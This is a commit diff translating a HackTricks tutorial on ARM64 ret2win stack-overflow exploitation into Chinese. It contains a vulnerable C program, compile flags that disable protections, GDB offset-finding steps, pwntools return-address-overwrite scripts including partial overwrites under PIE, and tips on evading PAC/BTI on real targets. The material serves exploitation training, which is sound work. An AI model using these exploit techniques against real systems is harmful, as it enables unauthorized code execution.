Translated ['src/binary-exploitation/stack-overflow/ret2win/ret2win-arm6

This commit is contained in:
Translator 2025-08-27 02:33:40 +00:00
parent 2caed6c96a
commit b086c69d38

View File

@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
在以下内容中找到关于 arm64 的介绍:
在以下位置可以找到关于 arm64 的介绍:
{{#ref}}
@ -28,17 +28,29 @@ vulnerable_function();
return 0;
}
```
在没有 PIE 和 canary 的情况下编译:
在没有 pie 和 canary 的情况下编译:
```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
```
- 额外的编译选项 `-mbranch-protection=none` 会禁用 AArch64 Branch Protection (PAC/BTI)。如果你的工具链默认启用了 PAC 或 BTI这能保持实验可重复。要检查已编译的二进制是否使用了 PAC/BTI你可以
- 查找 AArch64 GNU 属性:
- `readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'`
- 检查函数前序/后序以寻找 `paciasp`/`autiasp`PAC`bti c` 着陆点BTI
- `objdump -d ret2win | head -n 40`
### AArch64 调用约定快速要点
- 链接寄存器是 `x30`(也称 `lr`),函数通常用 `stp x29, x30, [sp, #-16]!` 保存 `x29`/`x30`,并用 `ldp x29, x30, [sp], #16; ret` 恢复它们。
- 这意味着保存的返回地址位于相对于帧基址的 `sp+8`。如果在下面放置了一个 `char buffer[64]`,通常覆盖保存的 `x30` 的距离是 64 (buffer) + 8 (saved x29) = 72 字节——这正是我们下面会发现的。
- 在函数边界处,栈指针必须保持 16 字节对齐。如果你在更复杂的场景中稍后构造 ROP chains请保持 SP 对齐,否则可能在函数尾部崩溃。
## 寻找偏移量
### 模式选项
此示例是使用 [**GEF**](https://github.com/bata24/gef) 创建的:
这个例子是使用 [**GEF**](https://github.com/bata24/gef) 创建的:
启动 gdb 并使用 gef创建模式并使用它
用 gef 启动 gdb创建 pattern 并使用它:
```bash
gdb -q ./ret2win
pattern create 200
@ -46,7 +58,7 @@ run
```
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
arm64 将尝试返回到寄存器 x30 中的地址(该地址已被破坏),我们可以利用这一点来找到模式偏移
arm64 会尝试返回到寄存器 x30 中的地址(该寄存器已被破坏),我们可以利用这一点来找到 pattern offset
```bash
pattern search $x30
```
@ -65,14 +77,14 @@ info frame
```
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
现在在 `read()` 之后设置一个断点,继续直到 `read()` 被执行,并设置一个模式,例如 13371337:
现在在 `read()` 之后设置一个断点,继续执行直到 `read()` 被执行,并设置一个类似 13371337 的模式:
```
b *vulnerable_function+28
c
```
<figure><img src="../../../images/image (1208).png" alt=""><figcaption></figcaption></figure>
找到这个模式在内存中的存储位置:
查找该模式在内存中的存放位置:
<figure><img src="../../../images/image (1209).png" alt=""><figcaption></figcaption></figure>
@ -80,7 +92,7 @@ c
<figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
## PIE
## No PIE
### 常规
@ -90,13 +102,15 @@ objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
```
利用
利用:
```python
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
@ -114,7 +128,7 @@ p.close()
### Off-by-1
实际上,这更像是在栈中存储的 PC 的 off-by-2。我们将只用 `0x06c4` 覆盖 **最后 2 个字节**,而不是覆盖所有的返回地址
实际上,这更像是在 stack 中存储的 stored PC 出现的 off-by-2。我们不会覆盖整个 return address而是只覆盖 **最后 2 个字节**,写为 `0x06c4`
```python
from pwn import *
@ -136,16 +150,16 @@ p.close()
```
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
您可以在 ARM64 中找到另一个 off-by-one 示例,链接为 [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/),这是一个虚构漏洞中的真实 off-by-**one**。
你可以在 [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) 找到另一个 ARM64 的 off-by-one 示例,该示例是在一个虚构的漏洞中出现的真实 off-by-**one**。
## 使用 PIE
## 在启用 PIE 时
> [!TIP]
> 编译二进制文件 **不要使用 `-no-pie` 参数**
> 编译二进制 **不要使用 `-no-pie` 参数**
### Off-by-2
在没有泄漏的情况下,我们不知道获胜函数的确切地址,但我们可以知道该函数相对于二进制文件的偏移量,并且知道我们正在覆盖的返回地址已经指向一个接近的地址,因此可以泄漏到 win 函数的偏移量 (**0x7d4**) 并仅使用该偏移量
没有 leak 的情况下,我们不知道 win 函数的确切地址,但我们可以知道该函数相对于二进制的偏移;并且由于我们正在覆盖的 return address 已经指向一个很接近的地址,在这种情况下可以 leak 到 win 函数的偏移(**0x7d4**)并直接使用该偏移
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
```python
@ -167,4 +181,45 @@ p.send(payload)
print(p.recvline())
p.close()
```
### Notes on modern AArch64 hardening (PAC/BTI) and ret2win
- 如果二进制使用 AArch64 Branch Protection 编译,你可能会在函数前导/尾随中看到 `paciasp`/`autiasp``bti c`。在这种情况下:
- 返回到不是有效 BTI landing pad 的地址可能会触发 `SIGILL`。优先定位包含 `bti c` 的准确函数入口。
- 如果 PAC 为 returns 启用,简单的返回地址覆盖可能会失败,因为 epilogue 会对 `x30` 进行认证。为了学习场景,可用 `-mbranch-protection=none` 重新编译(如上所示)。在攻击真实目标时,优先选择非返回劫持(例如 function pointer overwrites或构建不会执行会对你的伪造 LR 进行认证的 `autiasp`/`ret` 对的 ROP。
- 快速检查特性:
- `readelf --notes -W ./ret2win` 并查找 `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC` notes。
- `objdump -d ./ret2win | head -n 40` 并查找 `bti c`, `paciasp`, `autiasp`
### Running on nonARM64 hosts (qemuuser quick tip)
如果你在 x86_64 平台但想练习 AArch64
```bash
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
```
### 相关 HackTricks 页面
-
{{#ref}}
../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
{{#endref}}
-
{{#ref}}
../../rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
{{#endref}}
## 参考资料
- 在 AArch64 上为 Linux 启用 PAC 和 BTI (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Arm 64-bit Architecture 的过程调用标准 (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
{{#include ../../../banners/hacktricks-training.md}}